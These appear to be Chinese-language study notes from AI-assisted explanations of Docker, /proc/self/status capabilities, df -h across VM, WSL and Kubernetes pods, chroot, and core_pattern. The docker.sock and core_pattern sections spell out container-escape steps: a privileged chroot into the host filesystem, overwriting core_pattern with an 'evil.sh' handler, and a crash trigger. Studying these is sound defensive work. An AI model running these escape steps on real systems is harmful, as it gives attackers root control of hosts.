既然您想学习 Docker 用法,我为您总结了几个在 AI Earth 运维中最可能用到的场景:
场景一:后台运行服务 (Detached)
不想进交互界面,只想让它在后台跑(比如数据库、Web服务)。
# -d: 后台运行 (Detached)
# --name: 给容器起个好记的名字
docker run -d --name my-redis redis:latest
场景二:映射端口与挂载数据 (Networking & Volumes)
这是开发环境最常用的,把容器端口暴露出来,把数据存到本地。
# -p 8080:80 : 把宿主机的 8080 端口映射到容器的 80 端口
# -v /home/data:/data : 把宿主机的 /home/data 目录挂载到容器的 /data (双向同步)
docker run -d -p 8080:80 -v /home/data:/data nginx
场景三:进入正在运行的容器 (Debugging)
如果一个容器已经在跑了(比如线上的业务容器),你想进去排查问题。
# exec: 在已有的容器里执行命令
# container_id: 可以通过 docker ps 查到
docker exec -it <container_id> /bin/bash
# 如果容器里没有 bash,尝试 /bin/sh
docker exec -it <container_id> /bin/sh
场景四:查看容器日志 (Logging)
容器启动失败了,或者程序报错了,需要看标准输出。
# -f: 实时跟踪日志 (Follow),类似 tail -f
docker logs -f <container_id>
场景五:网络模式 (Network Mode)
我们在聊 containerd-shim 漏洞时提到过 Host 网络。
# --net=host: 容器不创建自己的虚拟网卡,直接共用宿主机的 IP 和端口
docker run --net=host -it alpine
总结
您发给我的这行命令:docker run --rm --privileged=true -it alpine,可以理解为一把**"万能钥匙"**。它用最快的速度(alpine),给您提供了一个权限最高(privileged)、用完即走(rm)的调试环境。
安全警示 :在生产环境(Production)中,请严厉禁止在业务容器上使用 --privileged 参数,除非你非常清楚自己在做什么。
4. 学会看 /proc/self/status 输出信息
/proc/self/status 是 Linux 系统中极其重要且基础的"进程自省"接口。
对于运维人员、安全研究员以及开发人员来说,这个文件就像是当前进程的 "详细体检报告"或"身份档案"。
1. 路径拆解:为什么叫 /proc/self/status?
这个路径由三个部分组成,每一个都有深意:
-
/proc(Process Filesystem):-
这不是一个硬盘上的真实文件夹,而是一个虚拟文件系统,存在于内存中。
-
它是 Linux 内核 (Kernel) 暴露给用户态的一个"窗口"。通过读写这里的文件,我们可以查看系统状态或修改内核参数。
-
-
/self(The Magic Link):-
这是一个神奇的符号链接 (Symbolic Link)。
-
它永远指向"当前正在访问这个文件夹的进程"的 PID 目录。
-
例子:
-
如果 PID 为 100 的进程访问
/proc/self,它实际访问的是/proc/100。 -
如果 PID 为 200 的进程访问
/proc/self,它实际访问的是/proc/200。
-
-
意义:这让脚本或程序不需要知道自己的 PID 就能查询自己的状态,非常方便。
-
-
/status(Human-readable Info):-
这是进程目录下包含信息最全面、且格式最适合人类阅读的文件。
-
相比于
/proc/self/stat(全是数字,给机器读的),/status有清晰的标签和格式。
-
2. 核心内容解读:这份"档案"里都有什么?
当你执行 cat /proc/self/status 时,会输出几十行信息。作为运维和安全人员,你只需要关注以下 4 大核心板块:
A. 身份信息 (Identity)
这是判断"我是谁"的关键,尤其涉及权限提权漏洞(如 SUID)时。
Name: bash <-- 进程名称
Umask: 0022
State: S (sleeping) <-- 进程状态 (R运行, S睡眠, Z僵尸...)
Tgid: 1234 <-- 线程组ID (通常等于PID)
Pid: 1234 <-- 进程ID
PPid: 1230 <-- 父进程ID (谁启动了我)
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
-
Uid / Gid 行的四列数字:这是最难懂但也最重要的,分别代表:
-
Real (真实): 谁启动了这个进程。
-
Effective (有效) : 当前实际拥有的权限(如果利用了 SUID 提权,这里会变成 0/root)。
-
Saved set (保存): 用于权限切换时的备份。
-
Filesystem (文件系统): 用于文件访问检查。
-
B. 内存指纹 (Memory)
这是运维排查 内存泄漏 (OOM) 的第一现场。
VmPeak: 8000 kB <-- 历史内存使用峰值
VmSize: 7000 kB <-- 虚拟内存总量 (申请了多少)
VmRSS: 3000 kB <-- 物理内存常驻量 (实际占用了多少内存条)
VmSwap: 0 kB <-- 用了多少交换分区 (Swap)
- 运维经验 :如果
VmRSS持续上涨不降,说明可能有内存泄漏。如果VmSwap很高,说明物理内存不够用了,系统在疯狂读写硬盘。
C. 能力与权限 (Capabilities)
这是你在之前的问题中提到的部分,用于容器安全和逃逸分析。
CapInh: 0000000000000000
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb <-- 有效能力集 (最重要的)
- 通过解码这些十六进制数,可以知道进程是否拥有"修改时间"、"绑定端口"、"挂载磁盘"等特权。
D. 并发与限制 (Concurrency & Limits)
Threads: 1 <-- 开启了多少个线程
Cpus_allowed: 3 <-- 可以跑在哪些 CPU 核上 (位掩码)
Cpus_allowed_list: 0-1 <-- 人类可读的 CPU 亲和性列表
- 运维经验 :如果
Threads数千甚至上万,通常意味着程序出现了"线程爆炸",会导致系统负载飙升。
3. 实战场景:它能干什么?
场景一:判断容器是否发生了 SUID 提权 (PwnKit 漏洞原理)
如果你发现一个普通用户的进程,其 Uid 行变成了这样:
Uid: 1000 0 0 0
第一列是 1000 (普通用户),但第二列 Effective UID 变成了 0 (Root)。这意味着该进程成功利用了 SUID 机制提升了权限。
场景二:容器资源监控 (Kubernetes)
K8s 或 Docker 的监控探针(如 cAdvisor)在底层就是通过读取容器内所有进程的 /proc/[pid]/status 中的 VmRSS 来计算容器当前内存占用的。
场景三:自我保护与反调试 (黑客技术)
一些恶意软件会读取自己的 TracerPid 字段:
TracerPid: 0
如果 TracerPid 不为 0,说明有调试器(如 gdb 或 strace)正在跟踪它,恶意软件就会立刻停止运行以隐藏自己。
总结
/proc/self/status 是 Linux 内核给当前进程发的一张**"实时体检单"**。
-
看 Uid:知道你是谁,权限有多大。
-
看 VmRSS:知道你吃了多少内存。
-
看 CapEff:知道你能干什么"坏事"(特权操作)。
-
看 State:知道你是死是活(僵尸进程)。
这行命令 cat /proc/self/status | grep CapEff
它用于检查当前进程(即执行这条命令的 Shell)到底实际拥有哪些 Linux 内核能力(Capabilities)
当你运行命令时,你会得到类似这样的输出:
CapEff: 00000000a80425fb
结果格式解析
-
格式 :这是一个 64位的十六进制掩码 (Bitmask)。
-
原理:Linux 内核将几十种特权(如"挂载文件系统"、"修改系统时间"、"绑定特权端口")分别定义为不同的位(Bit)。
-
如果某一位是
1,表示拥有该权限。 -
如果某一位是
0,表示没有该权限。
-
这个数字 00000000a80425fb 代表什么?
人类很难直接通过肉眼将十六进制翻译成具体的权限名称。我们需要使用工具来"解码"。
如何解码?
您可以使用 Linux 自带的 capsh 工具进行翻译:
capsh --decode=00000000a80425fb
输出示例(解码后):
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
关键权限解读:
-
普通 Root (Docker 默认) :通常包含
cap_chown(修改文件所有者),cap_net_bind_service(绑定 <1024 端口),cap_kill(杀进程) 等。但不包含高危权限。 -
特权模式 (Privileged) :如果结果全是
f(如0000003fffffffff),说明你是满血版 Root ,拥有CAP_SYS_ADMIN(挂载目录)、CAP_SYS_MODULE(加载内核模块)等极其危险的权限。这通常意味着容器逃逸风险极高。
总结
执行 cat /proc/self/status | grep CapEff 是在问系统:
"我现在的这个 Shell 进程,实际上被授权了哪些具体的特权?"
-
在运维中,用它判断服务是否有多余的危险权限。
-
在红蓝对抗/安全中,用它判断当前容器是否是特权容器(Privileged),从而决定是否尝试挂载宿主机磁盘进行逃逸。
5. 学会 df -h 命令的含义



以上这三张图分别是我在HyperV的Ubuntu虚拟机、WSL上的Ubuntu容器、AI earth的K8s的pod容器上执行完df -h命令后的结果。
这三张图完美地展示了传统虚拟机 、WSL(Windows子系统)和云原生容器在底层存储架构上的巨大差异。
第一部分:df -h 返回结果是什么意思?
df 是 Disk Free 的缩写,-h 表示 Human-readable(以人类可读的格式,如 G, M 显示大小)。
每一列的含义如下:
| 列名 | 含义 | 通俗解释 |
|---|---|---|
| Filesystem | 文件系统/设备源 | 数据的物理来源。可以是一个硬盘分区(如 /dev/sda1),一个网络存储,或者一个虚拟层(如 overlay)。 |
| Size | 总容量 | 这个盘子一共能装多少东西。 |
| Used | 已用空间 | 已经装了多少东西。 |
| Avail | 可用空间 | 还能装多少东西。 |
| Use% | 使用率 | 满了百分之多少。 |
| Mounted on | 挂载点 | 这是最重要的 。在 Linux 中,硬盘不是盘符(C盘/D盘),而是挂载到某个目录下的。比如 / 是根目录,/boot 是启动目录。 |
简单理解 :Linux 的目录树就像一个大衣柜。df -h 告诉你,衣柜的每一个格子(挂载点 Mounted on)是由哪块木板(文件系统 Filesystem)搭成的,以及这块木板还能承重多少。
第二部分:三张图的对比分析与环境区别
这三张图的差异,本质上反映了操作系统内核与硬件交互方式的不同。
1. Hyper-V Ubuntu 虚拟机 (对应第一张图)
-
特征解读:
-
Filesystem : 出现了
/dev/mapper/ubuntu--vg...和/dev/sda2。 -
解释:这是最标准的 Linux 安装形态。
-
/dev/sda代表这是模拟出来的第一块 SCSI 物理硬盘。 -
/dev/mapper/...说明使用了 LVM (逻辑卷管理),这是标准 Ubuntu Server 安装时的默认选项,用于灵活管理分区大小。 -
/boot和/boot/efi有独立分区,说明它有完整的引导过程(Bootloader)。
-
-
-
本质区别:
- 完全虚拟化 。Hyper-V 给它虚拟了一套完整的硬件(硬盘、CPU、主板)。它拥有自己独立的 Linux 内核,像一台真正的物理机一样启动,自己管理硬盘分区。
2. WSL 上的 Ubuntu 容器 (对应第二张图片)
-
特征解读:
-
Filesystem : 出现了
C:\,D:\,E:\以及snapfuse。 -
Mounted on : 出现了
/mnt/c,/mnt/d。 -
解释:这是 Windows Subsystem for Linux 的典型特征。
-
/mnt/c: WSL 的黑科技。它直接把宿主机 Windows 的 C 盘挂载进了 Linux 里,实现了文件互通。 -
snapfuse: 说明这个 Ubuntu 运行了 Snap 包管理器(Ubuntu 的软件商店),挂载了很多应用镜像。 -
drivers:/usr/lib/wsl/drivers,说明它直接利用 Windows 的驱动程序。
-
-
-
本质区别:
- 高度集成的轻量级虚拟机 。WSL2 虽然也是虚拟机,但它经过了微软的深度魔改。它的核心目标是与 Windows 融合。它没有传统意义上的"硬盘分区",而是动态占用 Windows 的空间,并且可以直接读写 Windows 的文件。
3. AI Earth 的 K8s Pod 容器 (对应图片: 2.jpg)
-
特征解读:
-
Filesystem : 根目录
/是overlay。 -
Mounted on :
/home/data挂载的是ossfs,且大小是惊人的 16E (Exabytes, 1E = 1024PB)。 -
解释:这是典型的云原生容器环境。
-
overlay(OverlayFS) : 这是容器的标志。容器不是安装在硬盘上的,而是像"千层饼"一样,由底层的镜像层 (只读)和上层的容器层 (读写)叠加而成。overlay文件系统就是负责这种叠加技术的。 -
ossfs: 对象存储(Object Storage)。云平台将阿里云 OSS 挂载到了本地。16EB 代表它是无限容量的云存储,专门用于存放遥感卫星数据。
-
-
-
本质区别:
- 进程隔离 。Pod 容器没有自己的内核,它共用宿主机的内核。它没有"硬盘",它的根目录只是宿主机文件系统上的一个文件夹(通过 OverlayFS 呈现)。它非常轻量,生来就是为了运行计算任务,而不是为了存储数据(所以数据要放在 OSS 上)。
总结:一眼区分的秘诀
如果下次再看到 df -h 的结果,您可以这样快速判断:
-
看根目录
/的 Filesystem:-
如果是
/dev/sda...或/dev/mapper...-> 虚拟机 (Hyper-V/VMware) 或 物理机。 -
如果是
overlay-> Docker/K8s 容器。 -
如果是
/dev/sdd(通常是虚拟盘) 且能看到/mnt/c-> WSL。
-
-
看挂载点:
-
有
/boot/efi-> 虚拟机/物理机 (需要自己引导启动)。 -
有
/mnt/c(Windows盘符) -> WSL。 -
有
ossfs或shm很大 -> 云平台容器。
-
对于您的开发工作流:
-
Hyper-V: 用来模拟完全真实的服务器环境。
-
WSL: 用来快速开发代码,方便在 Windows IDE 和 Linux 命令间切换。
-
AI Earth Pod : 用来跑最终的计算任务,利用它的
overlay环境的一致性和ossfs的海量数据访问能力。
没问题,这正是我擅长的。要彻底看懂 df -h,你只需要记住一个核心概念:挂载(Mount)。
想象一下:
-
Filesystem(文件系统/设备源) 是"实际存放数据的地方"(比如一块硬盘、一段内存、或者云端的一个存储桶)。
-
Mounted on(挂载点) 是"在这个系统中访问它的入口"(也就是文件夹路径)。
下面我将针对这三张图,逐行为您拆解每一个条目,保证不漏掉任何细节。
第一张图:Hyper-V Ubuntu 虚拟机
(这是一个标准的、完整的 Linux 操作系统结构)
| Filesystem (数据源) | Mounted on (入口) | 详细深度解析 |
|---|---|---|
| tmpfs | /run |
临时文件系统(存于内存)。用于存放系统启动以来的临时数据(如进程 PID 文件)。重启后会消失。 |
| efivarfs | /sys/firmware/efi/efivars |
UEFI 变量文件系统 。这说明你的虚拟机是通过 UEFI 模式启动的(而不是老旧的 BIOS),这里存放的是启动引导相关的变量。 |
| /dev/mapper/ubuntu--vg-ubuntu--lv | / |
【核心】根目录 。这是整个系统的地基。名字这么长是因为使用了 LVM(逻辑卷管理)。简单理解:它就是你的系统盘(C盘),系统文件和大部分软件都在这。 |
| tmpfs | /dev/shm |
共享内存(Shared Memory)。Linux 用这一块内存来实现不同进程间的高速通信。 |
| tmpfs | /run/lock |
锁文件。防止两个程序同时修改同一个文件,产生冲突。 |
| /dev/sda2 | /boot |
启动分区。这里存放 Linux 内核(vmlinuz)和引导菜单。它是一个独立的物理分区(sda2)。 |
| /dev/sda1 | /boot/efi |
EFI 系统分区 。这里存放引导加载程序(GRUB)。电脑开机时最先读取这里,然后再去读 /boot。 |
| tmpfs | /run/user/1000 |
用户临时目录 。1000 是你当前登录用户的 ID。这是专门给你这个用户存放临时运行文件的地方。 |
第二张图:WSL 上的 Ubuntu 容器
(这是一个"魔改"的、与 Windows 深度融合的 Linux)
| Filesystem (数据源) | Mounted on (入口) | 详细深度解析 |
|---|---|---|
| none | /usr/lib/modules/... |
WSL 特有 。none 表示它不是物理设备。这里挂载的是 WSL 定制的 Linux 内核模块。 |
| none | /mnt/wsl |
WSL 内部共享挂载点。用于不同 WSL 发行版之间共享数据。 |
| drivers | /usr/lib/wsl/drivers |
Windows 驱动映射。WSL 黑科技,直接把 Windows 的显卡驱动映射进来,让 Linux 能用显卡加速(GPU Passthrough)。 |
| /dev/sdd | / |
根目录 。这是 WSL 的虚拟系统盘(通常是 Windows 下的一个 .vhdx 文件),在 Linux 里被识别为 /dev/sdd。 |
| none | /mnt/wslg |
图形界面支持。WSLg (WSL GUI),让你可以直接在 Windows 上运行 Linux 的图形化软件。 |
| none | /usr/lib/wsl/lib |
WSL 核心库。支撑 WSL 运行的基础库文件。 |
| rootfs | /init |
初始进程 。WSL 的启动不是标准的 systemd,而是这个微软写的 /init 进程。 |
| none | /run 等目录 |
同上,WSL 模拟的标准 Linux 运行时目录。 |
| *C:* | /mnt/c |
【关键】Windows C盘 。WSL 自动把你的物理机 C 盘挂载到了这里。你在 Linux 里访问 /mnt/c 就是在操作 Windows 文件。 |
| **D:**, *E:* | /mnt/d, /mnt/e |
同上,你的 Windows D 盘 和 E 盘。 |
| snapfuse | /snap/bare/5 |
Snap 软件包。Ubuntu 特有的软件安装包。每个 Snap 软件都是一个独立的压缩包,安装时会被挂载成只读文件系统。 |
| snapfuse | /snap/core22/2193 |
Snap 核心库。这是 Snap 软件运行的基础环境(Core 22 版本)。 |
| snapfuse | /snap/... (多个) |
其他通过 snap install 安装的软件(如 gtk 主题、snapd 自身等)。不用管它们,装多少软件就有多少行。 |
| tmpfs | /run/user/1000 |
同上,当前用户的临时目录。 |
第三张图:AI Earth 的 K8s Pod 容器
(这是一个纯粹的、为计算而生的云端容器环境)
| Filesystem (数据源) | Mounted on (入口) | 详细深度解析 |
|---|---|---|
| overlay | / |
【核心】容器根目录 。OverlayFS 是容器技术的标志。它意味着这个系统是"分层"的:底层是只读的镜像(Image),上层是可写的容器层。你对系统的修改只存在于上层。 |
| tmpfs | /dev |
设备文件 。在容器里,/dev 是纯内存模拟的,不像物理机那样直接对应硬件。 |
| tmpfs | /sys/fs/cgroup |
资源限制接口。容器通过 Cgroup 限制 CPU 和内存。这里挂载是为了让容器内的工具能读取这些限制信息。 |
| tmpfs | /dev/shm |
共享内存。容器内进程通信用。 |
| ossfs | /home/data |
【核心】对象存储挂载 。这是 AI Earth 的核心 。它不是硬盘,而是阿里云 OSS (类似百度网盘)。通过 ossfs 技术挂载成本地文件夹。 |
| * Size: 16E:16EB(艾字节)≈ 无限大。因为云存储空间实际上是无限的。 | ||
| /dev/vda5 | /etc/hosts |
文件注入 。注意,这挂载的是一个文件 ,不是文件夹。K8s 为了把宿主机的网络配置告诉容器,直接把宿主机硬盘(/dev/vda5)上的某个文件"覆盖"到了容器的 /etc/hosts 上。 |
| /dev/vda5 | /etc/hostname |
同上,K8s 注入主机名配置。 |
| /dev/vda5 | /etc/resolv.conf |
同上,K8s 注入 DNS 配置。 |
| tmpfs | /proc/acpi |
屏蔽硬件信息。K8s 用空的 tmpfs 覆盖了这些目录,防止容器看到宿主机的电源管理信息(ACPI)。 |
| tmpfs | /proc/scsi |
屏蔽硬件信息。防止容器看到宿主机的 SCSI 硬件细节。 |
| tmpfs | /sys/firmware |
屏蔽硬件信息。防止容器修改宿主机固件。 |
总结:如何一眼看懂所有的 df -h?
看完上面长长的列表,你只需要掌握这 4 类关键词 ,就能看懂世界上 99% 的 df -h 结果:
-
物理硬盘类:
-
/dev/sda*,/dev/nvme*,/dev/vda*,/dev/mapper/... -
含义:这是实打实的硬盘,存放系统和重要数据。
-
-
内存虚拟类:
-
tmpfs,devtmpfs -
含义 :这是内存模拟的盘,速度极快,断电数据丢失。用于
/run,/dev/shm等临时数据。
-
-
网络/云存储类:
-
ossfs(阿里云),nfs(网络共享),s3fs(AWS) -
含义 :这是远程的数据,虽然看起来像本地文件夹,但读写都要走网络。特点是容量巨大(如 16E)。
-
-
特殊技术类:
-
overlay(Docker/K8s 专用) -
wsl,drvfs,9p(WSL 专用) -
snapfuse(Ubuntu 软件专用) -
含义:这是特定环境下的虚拟文件系统技术。
-
6. docker挂载Docker Socket启动
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
这行命令是在构建一个"Docker in Docker " (Sibling 模式)的环境。
用一句大白话解释:"你在后台启动了一个 Ubuntu 容器,并且把宿主机 Docker 的'遥控器'(socket 文件)塞进了这个容器里,让它能直接控制宿主机的 Docker。"
这通常用于 CI/CD(如 Jenkins)或管理工具(如 Portainer),但也是极高危的安全配置。
1. 命令逐词拆解
| 参数 | 含义 | 深度解读 |
|---|---|---|
docker run |
启动容器 | 标准起手式。 |
-itd |
组合参数 | -d (Detached): 在后台静默运行,不占用当前终端。 -i (Interactive): 保持标准输入打开。 -t (TTY): 分配伪终端。 为什么要组合? Ubuntu 镜像默认启动的是 /bin/bash,如果没有 -it,Bash 发现没有人在操作它,就会立刻退出,容器也就挂了。加上 -it 是为了让容器在后台也能"活着"。 |
--name |
命名 | 给容器起名为 with_docker_sock,方便后续管理。 |
-v |
挂载卷 | 【整行命令的灵魂】 /var/run/docker.sock:/var/run/docker.sock 冒号左边是宿主机路径,右边是容器内路径。 这意味着:把宿主机 Docker 的通信接口(Socket)直接映射给了容器。 |
ubuntu |
镜像 | 使用的基础镜像。 |
2. 核心原理解析:什么是 /var/run/docker.sock?
-
Docker Daemon (服务端):在宿主机后台运行,负责干活(创建容器、拉镜像)。
-
Docker Client (客户端) :你敲的
docker命令。 -
Socket (通信管道) :Client 和 Daemon 之间说话的电话线就是
/var/run/docker.sock。
当你执行这行命令后发生的事情:
你把宿主机的"电话线"接到了容器里。现在,容器里的进程只要往这个文件里发指令,宿主机的 Docker Daemon 就会照做(比如"帮我把宿主机的硬盘格式化了")。
3. 实战教学:如何验证这个容器的威力?
既然容器已经在后台跑起来了,我们来模拟一下如何利用它控制宿主机。
第一步:进入容器
容器在后台 (-d),我们需要用 exec 进去。
# 进入环境
docker exec -it with_docker_sock bash
第二步:安装 Docker 客户端
因为 ubuntu 镜像是个光杆司令,里面没有 docker 命令,我们需要装一个客户端来通过 Socket 发号施令。
# 更新源并安装 docker 客户端
apt-get update && apt-get install -y docker.io
第三步:见证奇迹 (Docker in Docker)
在容器内部执行:
docker ps
预期结果:
你会看到列出的容器里包含了 with_docker_sock 自己!
- 解释 :你在容器里看到的不是容器内的 Docker,而是宿主机的 Docker。你实际上是在通过容器远程遥控宿主机。
4. 安全警示:这就是"逃逸"的后门
您之前问过容器逃逸,这就是最典型的配置错误导致的逃逸路径。
如果黑客拿下了这个 with_docker_sock 容器,他只需要在容器内执行这行命令,就能瞬间获得宿主机的 Root 权限:
# 在容器内执行:创建一个挂载宿主机根目录的特权容器
docker run -it -v /:/host --privileged alpine chroot /host
结论:
-
开发场景:如果你在做 Jenkins Pipeline,需要用 Docker 构建 Docker 镜像,这行命令很常见。
-
生产场景 :绝对禁止 将
docker.sock挂载给不可信的业务容器。
7. chroot命令
chroot <新根目录> [要执行的命令]
chroot (Change Root) 是 Linux 系统中最古老、最基础的"隔离"技术,它是现代容器技术(Docker)的"老祖宗"。
简单来说,它的作用是:把一个进程(及其子进程)"关"在一个特定的目录下,让这个进程觉得这个目录就是整个文件系统的根目录 (/)。
这就好比给进程戴上了一个"VR眼镜",它看到的 / 其实是你指定的 /home/test,它根本不知道外面还有一个真实的 / 存在。
场景一:手动构建一个"隔离监狱" (原理教学)
很多初学者直接运行 chroot /某个目录 会报错,提示找不到 /bin/bash。这是因为:一旦你切换了根目录,进程就再也读取不到原系统里的命令和依赖库了。
你必须在新的"监狱"里,提前准备好水和食物(Shell 和 依赖库)。
第一步:建立监狱目录结构
我们创建一个目录 /home/jail 作为新的根目录。
# 1. 创建监狱目录
mkdir -p /home/jail
# 2. 在监狱里创建必要的文件夹(模拟 Linux 标准目录结构)
mkdir -p /home/jail/{bin,lib,lib64}
第二步:把"水"和"食物"搬进去 (复制 Bash 和依赖)
我们至少需要一个 Shell 才能在里面执行命令。我们以 /bin/bash 为例。
-
复制 bash 二进制文件:
cp /bin/bash /home/jail/bin/ -
关键步骤:查找 bash 依赖哪些库:
可执行程序通常依赖很多动态链接库 (.so 文件)。用 ldd 命令查看:
ldd /bin/bash输出示例(你的系统可能不同):
linux-vdso.so.1 => (0x0000...) libtinfo.so.5 => /lib64/libtinfo.so.5 (0x0000...) libdl.so.2 => /lib64/libdl.so.2 (0x0000...) libc.so.6 => /lib64/libc.so.6 (0x0000...) /lib64/ld-linux-x86-64.so.2 (0x0000...) -
把查到的库文件一个个复制进监狱:
(注意保持目录结构一致,如果是 /lib64 下的文件就复制到 jail 的 lib64)
cp /lib64/libtinfo.so.5 /home/jail/lib64/ cp /lib64/libdl.so.2 /home/jail/lib64/ cp /lib64/libc.so.6 /home/jail/lib64/ cp /lib64/ld-linux-x86-64.so.2 /home/jail/lib64/
第三步:执行 chroot,进入监狱
一切准备就绪,执行命令:
sudo chroot /home/jail
此时发生了什么?
-
你的命令提示符变了(通常变成了
bash-4.2#之类的)。 -
试着输入
ls------ 报错!command not found。- 为什么? 因为你只复制了
bash,没复制ls。在这个世界里,ls不存在。
- 为什么? 因为你只复制了
-
试着输入
pwd------ 显示/。- 看! 虽然你物理位置在
/home/jail,但在这里它认为自己就是根目录。
- 看! 虽然你物理位置在
-
输入
exit退出监狱,回到真实世界。
场景二:系统急救 (运维实战高频用法)
这是 chroot 最实用的场景。假设你的 Linux 忘记了 root 密码 ,或者 GRUB 引导坏了 导致无法开机。你需要用 LiveCD (U盘启动盘) 启动电脑,然后去修硬盘里的系统。
这时候,你需要把硬盘挂载起来,用 chroot "伪装"进硬盘里的系统进行操作。
1. 挂载硬盘分区
假设你的系统装在 /dev/sda1。
# 在 LiveCD 环境下,创建一个挂载点
mkdir /mnt/sysimage
# 挂载你的硬盘分区
mount /dev/sda1 /mnt/sysimage
2. 关键步骤:挂载内核接口 (Bind Mount)
如果要执行 grub-install 或修改密码,程序需要访问 /dev, /proc, /sys。这些是内存里的伪文件系统,硬盘里是没有的,必须从 LiveCD 环境"借"给它。
# --bind 意思是把外面的目录"映射"到里面去
mount --bind /dev /mnt/sysimage/dev
mount --bind /proc /mnt/sysimage/proc
mount --bind /sys /mnt/sysimage/sys
3. 切换根目录 (Chroot)
chroot /mnt/sysimage
4. 执行修复
此时,你虽然是用 U 盘启动的,但你执行的所有命令都作用于硬盘里的系统。
# 修改硬盘系统的 root 密码
passwd root
# 或者修复引导
grub-install /dev/sda
5. 退出并重启
exit
reboot
总结
chroot NEW_ROOT [COMMAND]
-
核心含义 :欺骗进程,让它以为
NEW_ROOT就是/。 -
核心难点 :新的监狱里必须有程序运行所需的所有依赖文件(库文件、配置文件)。
-
与 Docker 的关系:
-
chroot只是隔离了文件系统(你看不到外面的文件)。 -
但它没有 隔离进程(你用
ps还是能看到别人的进程)、网络或用户。 -
Docker 在
chroot(实际上是用更高级的pivot_root) 的基础上,加上了 Namespaces (隔离进程、网络) 和 Cgroups (限制资源),才变成了现在的容器。
-
一句话记住: chroot 就是给进程搬了个家,但如果没有连带把家具(依赖库)搬过去,进程是活不下去的。
chroot命令(change root)是Linux/Unix系统中的一个工具,它将当前进程及其子进程的根目录(/)更改为指定的目录,从而创建一个隔离的、受限的文件系统环境,
该环境内的程序无法访问原系统根目录之外的任何文件,
常用于系统恢复、安全沙箱、软件编译和测试等场景。
使用chroot时需要以root权限,并且需要确保新根目录内包含程序运行所需的库文件和命令,否则命令会失败。
核心功能
- 改变根目录:将进程的根目录切换到用户指定的目录。
- 创建隔离环境:使进程只能看到并访问新根目录下的文件,提供安全隔离。
- 限制访问:进程无法访问原系统根目录下的文件,增加了安全性。
主要用途
- 系统恢复/急救 :在系统无法启动时,通过
chroot进入一个隔离环境修复系统。 - 软件测试:在干净、隔离的环境中测试软件,不影响主系统。
- 安全沙箱:限制特定应用或用户的访问权限。
- 构建精简系统:为特定应用创建一个最小化的文件系统。
8. /proc/sys/kernel/core_pattern 的含义
/proc/sys/kernel/core_pattern 定义了"当一个程序崩溃(Crash/Segfault)时,Linux 内核该如何处理它的'遗体'(Core Dump 文件)"。
对于运维来说,它是故障排查的工具;对于黑客来说,它是容器逃逸并获取宿主机 Root 权限的一条"黄金暗道"。
1. 基础含义:崩溃现场的记录员
当 Linux 程序发生段错误(Segmentation Fault)崩溃时,内核会把该程序当时的内存状态 dump 下来,生成一个 Core 文件,用于后续调试(GDB)。
这个文件的内容,决定了生成的 Core 文件叫什么名字 ,存在哪里。
查看默认值
你可以看一眼现在的配置:
cat /proc/sys/kernel/core_pattern
-
默认情况 :通常是
core。意味着在程序崩溃的当前目录下生成一个叫core的文件。 -
现代发行版 :可能是
/var/crash/core-%e-%p-%t。
格式化占位符
它支持特定的格式化符号,用来区分不同的崩溃:
-
%p: 崩溃进程的 PID。 -
%u: 崩溃进程的用户 UID。 -
%e: 崩溃进程的可执行文件名。 -
%t: 崩溃发生的时间戳。
运维用法示例:
如果你想让所有崩溃文件都整齐地存放在 /tmp 下,并带上时间戳:
echo "/tmp/core-%e-%p-%t" > /proc/sys/kernel/core_pattern
2. 高级用法:管道机制 (The Pipe |) ------ 危险的开端
这是该文件最强大的功能,也是漏洞的根源。
如果这个文件的第一个字符是管道符 | ,内核就不会把 Core Dump 保存到磁盘,而是会:
-
启动 管道符后面指定的用户态程序(脚本或二进制)。
-
将崩溃信息通过标准输入 (Stdin) 传给这个程序。
关键点来了(敲黑板):
这个被触发的程序,是由内核直接调用的,因此它运行时拥有 Root 权限!
合法场景:
比如 Ubuntu 的 Apport 服务或 systemd-coredump,它们利用这个机制,当程序崩溃时自动收集错误报告并上传。
|/usr/share/apport/apport %p %s %c %d %P
这意味着:一旦崩溃,内核以 Root 身份运行 /usr/share/apport/apport 来处理善后。
3. 安全利用:容器逃逸 (Container Escape)
这是你之前问的"逃逸"技术拼图中的关键一块。
为什么能逃逸?
-
内核共享 :容器和宿主机共享同一个内核,因此也共享
/proc/sys/kernel/core_pattern配置。 -
全局生效 :如果你在容器里修改了这个文件,宿主机上的配置也会变。
-
跨界执行 :当崩溃发生时,内核会去宿主机的根文件系统里找那个处理程序,并以 宿主机 Root 身份执行它。
攻击/逃逸 逻辑流程
前提条件:
容器以特权模式启动 (--privileged),或者拥有 CAP_SYS_ADMIN,或者 /proc 被挂载为可写。
第一步:准备恶意脚本 (The Trap)
攻击者在容器里创建一个恶意脚本(例如反弹 Shell),并设法让宿主机也能访问到它(比如通过挂载的卷,或者直接写入到容器的 OverlayFS 层,然后猜宿主机上的路径)。
- 假设恶意脚本路径是:
/var/lib/docker/overlay2/.../merged/tmp/evil.sh
第二步:篡改 core_pattern (The Trigger)
攻击者在容器内修改该配置,告诉内核:"一旦有程序崩溃,就以 Root 身份去执行我的恶意脚本"。
# 在容器内执行
echo "|/var/lib/docker/overlay2/.../merged/tmp/evil.sh" > /proc/sys/kernel/core_pattern
第三步:制造崩溃 (The Crash)
攻击者在容器里自己写一个必定崩溃的 C 程序(比如访问空指针),并运行它。
int main() { *(int *)0 = 0; } // 必死代码
第四步:逃逸完成 (The Breakout)
-
容器内程序崩溃。
-
内核捕获崩溃信号。
-
内核读取
core_pattern,发现是管道|开头。 -
内核以 宿主机 Root 身份执行
/var/lib/docker/.../evil.sh。 -
脚本执行,攻击者获得宿主机 Root Shell。
总结
/proc/sys/kernel/core_pattern 是 Linux 处理"死亡进程"的遗嘱执行人。
-
普通模式:它只是定义"遗体"(Core 文件)埋在哪。
-
管道模式 (
|):它指定一个"全权代理人"(脚本)来处理后事。 -
危险之处 :这个"代理人"拥有至高无上的 Root 权限。如果你能在一个共享内核的容器里篡改这个"遗嘱",你就能欺骗内核去执行你的恶意代码,从而接管整个世界(宿主机)。



这三张图分别是我在HyperV的Ubuntu虚拟机、WSL上的Ubuntu容器、AI earth的K8s的pod容器上执行完cat /proc/sys/kernel/core_pattern命令后的结果。
